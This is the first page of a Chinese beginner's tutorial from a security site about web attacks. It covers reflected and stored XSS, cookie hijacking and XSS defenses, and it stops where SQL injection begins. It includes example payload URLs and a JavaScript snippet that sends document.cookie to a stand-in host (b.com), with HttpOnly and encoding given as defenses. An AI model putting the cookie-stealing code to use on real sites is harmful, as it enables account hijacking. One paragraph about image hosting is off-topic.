欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

Web安全——前端JS表单验证过滤

来源:本站整理 作者:佚名 时间:2017-04-12 TAG: 我要投稿

前端JS表单验证过滤

前言

之前忙于做各种事情,已经很久没写过文章,最近接的一个学校的网站项目,近期被人用自动脚本攻破了(笑...),因为我们第一次做这种上线的项目,完全没有意识到一些web安全的知识,所以就开始了紧急的漏洞补救和防护措施。所以我就把近期学习的知识总结下。目前我水平有限,只能做一个初级认识,让一些刚入行做上线的实际项目的同学能有所警惕。

原因

安全小白

作为这个网站项目组长,我是完全不知道这些安全隐患问题的,团队的人员也没有研究过这些,所以造成了这个情况,因为我们是在校大学学生,确实学无余力来研究这些,希望对还未出社会的初学者提个醒。

web常见攻击手段

我只会大概提及它的攻击原理和预防方法,具体的实现和深入研究还请大家自行百度,因为只有真正需要用到才会去详细了解,这里我只为web安全小白做知识扫盲。因为博主目前接触最多的服务端语言是JAVA所以例子都从java web项目来讲。

跨站脚本攻击(XSS

虽然我们目前做的是一个博客的小网站,但是以后无论是自己的博客还是实际的项目,都可以用图片来提供外链,方便管理,如果你的网站访问量很高啊,一天几十万几百万啊,我的天啊,这时候你考虑的就不是服务器空间够不够大,而是惊人的并发数啊,光是请求html文件(或其他)的链接就处理不过来了,哪还有多余的资源去读取图片啊,索性就把图片存另一个服务器吧,给主服务器减轻压力啊,于是图床诞生了。

  1. 反射型XSS

它是通过诱使用户打开一个恶意链接,服务端将链接中参数的恶意代码渲染到页面中,再传递给用户由浏览器执行,从而达到攻击的目的。如下面的链接:

http://a.com/a.jsp?name=xss<script>alert(1)</script>

a.jsp将页面渲染成下面的html:

Hello xss<script>alert(1)</script>

这时浏览器将会弹出提示框。

这算是常见的一种方法,预防的话可以通过后台编写方法来拦截过滤到这些非法或有攻击性的字符。

  1. 持久型XSS

持久型XSS将恶意代码提交给服务器,并且存储在服务器端,当用户访问相关内容时再渲染到页面中,以达到攻击的目的,它的危害更大。

比如,攻击者写了一篇带恶意JS代码的博客,文章发表后,所有访问该博客文章的用户都会执行这段恶意JS。

这个相对来说对我们开发网站来说不算重要,但是要小心攻击者在你网站注入一些非法代码,从而达到这个目的。

Cookie劫持

Cookie中一般保存了当前用户的登录凭证,如果可以得到,往往意味着可直接进入用户帐户,而Cookie劫持也是最常见的XSS攻击。以上面提过的反射型XSS的例子来说,可以像下面这样操作:

首先诱使用户打开下面的链接:

http://a.com/a.jsp?name=xss<script src=http://b.com/b.js></script>

用户打开链接后,会加载b.js,并执行b.js中的代码。b.js中存储了以下JS代码:

var img = document.createElement("img");
img.src = "http://b.com/log?" + escape(document.cookie);
document.body.appendChild(img);

上面的代码会向b.com请求一张图片,但实际上是将当前页面的cookie发到了b.com的服务器上。这样就完成了窃取cookie的过程。

防御Cookie劫持的一个简单的方法是在Set-Cookie时加上HttpOnly标识,浏览器禁止JavaScript访问带HttpOnly属性的Cookie。

XSS的防御

  1. 输入检查 
    对输入数据做检查,比如用户名只允许是字母和数字,邮箱必须是指定格式。 
    一定要在后台做检查,否则数据可能绕过前端检查直接发给服务器。 
    一般前后端都做检查,这样前端可以挡掉大部分无效数据。 
    对特殊字符做编码或过滤,但因为不知道输出时的语境,所以可能会做不适当的过滤,最好是在输出时具体情况具体处理。
  2. 输出检查 
    对渲染到HTML中内容执行HtmlEncode,对渲染到JavaScript中的内容执行JavascriptEncode。 
    另外还可以使用一些做XSS检查的开源项目。

    SQL注入

    SQL注入常常会听到,它与XSS类似,是由于用户提交的数据被当成命令来执行而造成的。下面是一个SQL注入的例子:

[1] [2] [3]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载